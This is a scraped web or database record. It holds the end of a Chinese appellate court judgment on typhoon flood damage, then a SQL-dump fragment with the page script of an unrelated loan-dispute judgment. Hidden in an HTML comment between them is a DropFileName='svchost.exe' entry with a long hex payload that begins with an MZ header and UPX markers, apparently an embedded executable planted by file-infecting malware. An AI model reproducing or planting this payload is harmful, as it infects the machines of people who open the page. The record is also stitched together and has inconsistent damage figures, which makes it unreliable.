及时加固围墙则可以避免路面积水冲倒的风险。海景酒店的辩解没有法律依据，原审法院不予采信。根据《中华人民共和国侵权责任法》第六条、第十五条的规定，一审判决：一、限海景酒店于本判决书生效之日起十日内向华侨公司赔偿财产损失3857480元；二、驳回华侨公司的其他诉讼请求。如未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。本案案件受理费44670元，由华侨公司负担8670元，海景酒店负担36000元。
二审期间，海景酒店提交两份证据：1.海景酒店及华侨公司商场裙楼地上首层平面设计图，2.海景酒店及华侨公司围墙现状的视频资料。两份证据共同证明：海景酒店东北侧连接泰华路的倒塌围墙是工地临时墙、安保墙，并非建设规划钢筋混凝土筑成的剪力墙，该安保墙作用为：（1）防止外来人员随便进出工地，以防安全事故与偷盗行为的发生；（2）减少城市环境污染。其建立并非海景酒店的法定义务，海景酒店不应为此承担关于该围墙是否具有超强抗水、抗风、抗震作用法律责任。华侨公司对这两份证据的真实性没有异议，对证据的关联性有异议，海景酒店主要想说明其没有建围墙的法定义务，对此华侨公司认为围墙是之前已经存在，围墙的存在让华侨公司对海景酒店产生了合理信赖的问题，如果一开始就没有围墙，或是开放式栅栏，在整个工地地下室入口是完全敞开的，对华侨公司产生了威胁。对该份证据的真实性本庭予以确认，因为海景酒店的义务是防止水流进地下室对华侨公司的设备造成损害，而并非保持围墙稳固，因此对这两份证据的关联性本院不予采信。
本院查明的事实与原审法院查明的事实一致。
本院认为：双方的争议焦点是华侨公司的财产损失是不可抗力事件造成还是因为海景酒店未及时采取有效充分合理的防范措施造成。根据《中华人民共和国民法通则》第一百五十三条的规定，不可抗力事件是指不能预见、不能避免并不能克服的客观情况。地震、海啸、台风、海浪、洪水、蝗灾、风暴、冰雹、沙尘暴、火山爆发、山体滑坡、雪崩、泥石流等自然灾害以及战争、武装冲突、罢工、骚乱、暴动等重大的社会非正常事件均可能构成不可抗力事件的成因。但并非所有的自然灾害和重大的社会非正常事件都能构成不可抗力事件，判断是否是不可抗力事件，应综合考量自然灾害和重大的社会非正常事件本身的强度、持续时间的长短、是否具有可预见性、人类能够依主观能动性采取防范措施可减少、避免损失发生等因素。具体到本案，2014年7月18日15时左右，第9号强台风”威马逊”登陆海南的文昌市、海口市，中心风力最强时达17级，强台风同时带来强降雨。在第9号强台风”威马逊”登陆海南前几天，中央、地方的气象部门及各类媒体均发布了预告及预警，因此第9号强台风”威马逊”登陆海南是具有可预见性的，第9号强台风”威马逊”的带来的直接灾害是强风吹袭造成的损害结果，第9号强台风”威马逊”带来的强降雨是次生灾害。华侨公司向海景酒店购买了部分房产，双方地下室联通，台风带来降水致部分流水从海景酒店一侧进入华侨公司一侧的负二层，导致华侨公司的财产遭受损失，华侨公司的财产损失是由台风带来的强降雨积水造成的，不是台风直接吹袭造成的。海景酒店作为整个建筑物的建设者及物业管理者，有及时采取有效充分合理的防范措施防止流水从其所在一侧进入华侨公司一侧而导致对方损失的义务，加固已存在的围墙是其履行防止流水涌入地下室进而给华侨公司造成损失的一种义务，而海景酒店未尽到该义务，因此海景酒店的不作为行为存在过错，应对华侨公司的财产损失承担相应的赔偿责任。第9号强台风”威马逊”带来的强降雨是可预见的、可预防的，其危害结果是次生的，并不能构成不可抗力事件，海景酒店关于华侨公司的财产损失是由不可抗力事件造成的、其不应承担赔偿责任的上诉主张没有事实依据和法律依据，本院不予支持，原审法院对此认定正确，本院予以维持。由于海景酒店为防止损害的发生及扩大，采取了部分措施，因此应该适当减轻其过错责任。并且，华侨公司安装机电设备与民用建设电器设计规范不相符合，且未在台风来临前将设备转移至安全区域，故属于未尽到妥善保管的义务。华侨公司应对此次损害的结果承担部分责任。因此，原审法院在适当减轻海景酒店过错责任的基础上认定其对华侨公司涉及被水淹的裙楼商场负二层的财产损失承担40%的过错责任有事实和法律依据，本院予以维持。
关于赔付数额基数的问题。根据《中华人民共和国侵权责任法》第十五条之规定：”承担侵权责任的方式主要有：（一）停止侵害；（二）排除妨碍；（三）消除危险；（四）返还财产；（五）恢复原状；（六）赔偿损失；（七）赔礼道歉；（八）消除影响、恢复名誉。以上承担侵权责任的方式，可以单独适用，也可以合并适用。”本案中，中衡公司所评估设计裙楼商场负二层的机电设备等财产损失总价值为9643700元。海景酒店上诉称对于以上损失中关于楼顶排烟风机、风机控制箱及税金以及楼顶电动阀应当扣除。但该项上诉主张并未提交相关证据予以佐证，因此该项上诉主张本院不予支持。另，海景酒店应对华侨公司裙楼商场负二层被水淹而遭受的财产损失承担相应的赔偿责任，因此，原审法院根据中衡公司评估的财产损失总价值9643700元而得出海景酒店应承担财产损失数额为38574801元有事实和法律依据，本院予以维持。海景酒店上诉主张将财产受损总额减去保险公司已赔付的部分作为赔偿基数并无事实和法律依据，本院不予支持。
综上，原审判决认定事实清楚，适用法律正确，应予维持。依照《中华人民共和国民事诉讼法》第一百七十条第一款第一项之规定，判决如下：
驳回上诉，维持原判。
案件受理费44670.00元，由海景酒店负担。
本判决为终审判决。
审判长黄玉臣
审判员谭晓梅
审判员陈璐
书记员韦佳艺
审核：黄玉臣撰稿：黄玉臣校对：韦佳艺印刷：何宗谦海南省海口市中级人民法院2016年12月19日印制（共印13份）
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B','2018-10-09
05:34:26',0,'web',NULL),(17315281,'427b03c8-7d2b-4dfc-9d50-c526da29dd3a','$(function(){$(\"#con_llcs\").html(\"浏览：72次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"大祥区\",\"法院ID\":\"2081\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":\"1\",\"案号\":\"（2016）湘0503民初282号\",\"不公开理由\":null,\"法院地市\":\"邵阳市\",\"法院省份\":\"湖南\",\"上传日期\":\"\\\/Date(1532016000000)\\\/\",\"案件类型\":\"2\",\"文书ID\":\"427b03c8-7d2b-4dfc-9d50-c526da29dd3a\",\"案件名称\":\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案一审民事判决书\",\"法院名称\":\"邵阳市大祥区人民法院\",\"补正文书\":\"2\",\"法院区域\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案，本院于2016年3月24日受理后，依法组成合议庭公开开庭进行了审理。原告邮政银行的委托代理人刘健军、许婷，被告陈铁柱、刘英姿、刘祥云经本院传票传唤，无正当理由未到庭，本案依法缺席审理。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附相关法律条文：
《中华人民共和国合同法》 第一百零七条当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。
第二百零五条借款人应当按照约定的期限支付利息。对支付利息的期限没有约定或者约定不明确，依照本法第六十一条规定仍不能确定，借款期间不满一年的，应当在返还借款时一并支付；借款期间一年以上的，应当在第届满一年时支付，剩余期间不满一年的，应当在返还借款时一并支付。
第二百零六条借款人应当按照约定的期限返还借款。对借款期限没有约定或者约定不明确，依照本法第六十一条规定仍不能确定的，借款人可以随时返还；贷款人可以催告借款人在合理期限内返还。
《中华人民共和国物权法》
第一百九十五条债务人不履行到期债务或者发生当事人约定的实现抵押权的情形，抵押权人可以与抵押人协议以抵押财产折价或者以拍卖、变卖该抵押财产所得的价款优先受偿。协议损害其他债权人利益的，其他债权人可以在知道或者应当知道撤销事由之日起一年内请求人民法院撤销该协议。
抵押权人与抵押人未就抵押权实现方式达成协议的，抵押权人可以请求人民法院拍卖、变卖抵押财产。 抵押财产折价或者变卖的，应当参照市场价格。
第二百零三条第一款为担保债务的履行，债务人或者第三人对一定期间内将要连续发生的债权提供担保财产的，债务人不履行到期债务或者发生当事人约定的实现抵押权的情形，抵押权人有权在最高债权额限度内就该担保财产优先受偿。
《中华人民共和国担保法》 第十八条当事人在保证合同中约定保证人与债务人对债务承担连带责任的，为连带责任保证。
连带责任保证的债务人在主合同规定的债务履行期届满没有履行债务的，债权人可以要求债务人履行债务，也可以要求保证人在其保证范围内承担保证责任。
第二十一条保证担保的范围包括主债权及利息、违约金、损害赔偿金和实现债权的费用。保证合同另有约定的，按照约定。
当事人对保证担保的范围没有约定或者约定不明确的，保证人应当对全部债务承担责任。 第三十一条保证人承担保证责任后，有权向债务人追偿。
第五十七条为债务人抵押担保的第三人，在抵押权人实现抵押权后，有权向债务人追偿。
《最高人民法院关于适用﹤中华人民共和国担保法﹥若干问题的解释》第四十二条第一款人民法院判决保证人承担保证责任或赔偿责任的，应当在判决书主文中明确保证人享有担保法第三十一条规定的权利。判决书中未明确追偿权的，保证人只能按照承担责任的事实，另行提起诉讼。
最高人民法院关于适用《中华人民共和国婚姻法》若干问题的解释（二）
第二十四条债权人就婚姻关系存续期间夫妻一方以个人名义所负债务主张权利的，应当按夫妻共同债务处理。但夫妻一方能够证明债权人与债务人明确约定为个人债务，或者能够证明属于婚姻法第十九条第三款规定情形的除外。
《中华人民共和国民事诉讼法》
第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案一审民事判决书\");$(\"#tdSource\").html(\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案一审民事判决书
（2016）湘0503民初282号\");$(\"#hidDocID\").val(\"427b03c8-7d2b-4dfc-9d50-c526da29dd3a\");$(\"#hidCaseName\").val(\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2016）湘0503民初282号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"邵阳市大祥区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"2081\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"邵阳市大祥区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"金融借款合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2016-10-08\" },{ name: \"当事人\", key:
\"appellor\", value: \"中国邮政储蓄银行股份有限公司邵阳市分行,陈铁柱,刘英姿,刘祥云\" }],LegalBase:
[{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第一百零七条\',法条内容:\' 第一百零七条
当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。
\'},{法条名称:\'第二百零五条\',法条内容:\'
第二百零五条
借款人应当按照约定的期限支付利息。对支付利息的期限没有约定或者约定不明确，依照本法第六十一条的规定仍不能确定，借款期间不满一年的，应当在返还借款时一并支付；借款期间一年以上的，应当在每届满一年时支付，剩余期间不满一年的，应当在返还借款时一并支付。
\'},{法条名称:\'第二百零六条\',法条内容:\'
第二百零六条
借款人应当按照约定的期限返还借款。对借款期限没有约定或者约定不明确，依照本法第六十一条的规定仍不能确定的，借款人可以随时返还；贷款人可以催告借款人在合理期限内返还。
\'}]},{法规名称:\'《中华人民共和国物权法》\',Items:[{法条名称:\'第一百九十五条第一款\',法条内容:\'
第一百九十五条
债务人不履行到期债务或者发生当事人约定的实现抵押权的情形，抵押权人可以与抵押人协议以抵押财产折价或者以拍卖、变卖该抵押财产所得的价款优先受偿。协议损害其他债权人利益的，其他债权人可以在知道或者应当知道撤销事由之日起一年内请求人民法院撤销该协议。
抵押权人与抵押人未就抵押权实现方式达成协议的，抵押权人可以请求人民法院拍卖、变卖抵押财产。
抵押财产折价或者变卖的，应当参照市场价格。
\'},{法条名称:\'第二百零三条第一款\',法条内容:\' 第二百零三条
为担保债务的履行，债务人或者第三人对一定期间内将要连续发生的债权提供担保财产的，债务人不履行到期债务或者发生当事人约定的实现抵押权的情形，抵押权人有权在最高债权额限度内就该担保财产优先受偿。
最高额抵押权设立前已经存在的债权，经当事人同意，可以转入最高额抵押担保的债权范围。
\'}]},{法规名称:\'《中华人民共和国担保法》\',Items:[{法条名称:\'第十八条第一款\',法条内容:\'
第十八条 当事人在保证合同中约定保证人与债务人对债务承担连带责任的，为连带责任保证。
连带责任保证的债务人在主合同规定的债务履行期届满没有履行债务的，债权人可以要求债务人履行债务，也可以要求保证人在其保证范围内承担保证责任。
\'},{法条名称:\'第二十一条第一款\',法条内容:\'
第二十一条 保证担保的范围包括主债权及利息、违约金、损害赔偿金和实现债权的费用。保证合同另有约定的，按照约定。
当事人对保证担保的范围没有约定或者约定不明确的，保证人应当对全部债务承担责任。
\'},{法条名称:\'第三十一条\',法条内容:\' 第三十一条
保证人承担保证责任后，有权向债务人追偿。
\'},{法条名称:\'第五十七条\',法条内容:\' 第五十七条
为债务人抵押担保的第三人，在抵押权人实现抵押权后，有权向债务人追偿。
\'}]},{法规名称:\'最高人民法院关于适用《中华人民共和国担保法》若干问题的解释\',Items:[{法条名称:\'第四十二条第一款\',法条内容:\'
第四十二条
人民法院判决保证人承担保证责任或者赔偿责任的，应当在判决书主文中明确保证人享有担保法第三十一条规定的权利。判决书中未予明确追偿权的，保证人只能按照承担责任的事实，另行提起诉讼。
保证人对债务人行使追偿权的诉讼时效，自保证人向债权人承担责任之日起开始计算
\'}]},{法规名称:\'最高人民法院关于适用《中华人民共和国婚姻法》若干问题的解释（二）\',Items:[{法条名称:\'第二十四条\',法条内容:\'
第二十四条
债权人就婚姻关系存续期间夫妻一方以个人名义所负债务主张权利的，应当按夫妻共同债务处理。但夫妻一方能够证明债权人与债务人明确约定为个人债务，或者能够证明属于婚姻法第十九条第三款规定情形的除外。
\'}]},{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百四十四条\',法条内容:\'第一百四十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"原告中国邮政储蓄银行股份有限公司邵阳市分行（以下简称邮政银行）与被告陈铁柱、刘英姿、刘祥云金融借贷纠纷一案一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-07-20\\\\\",\\\\\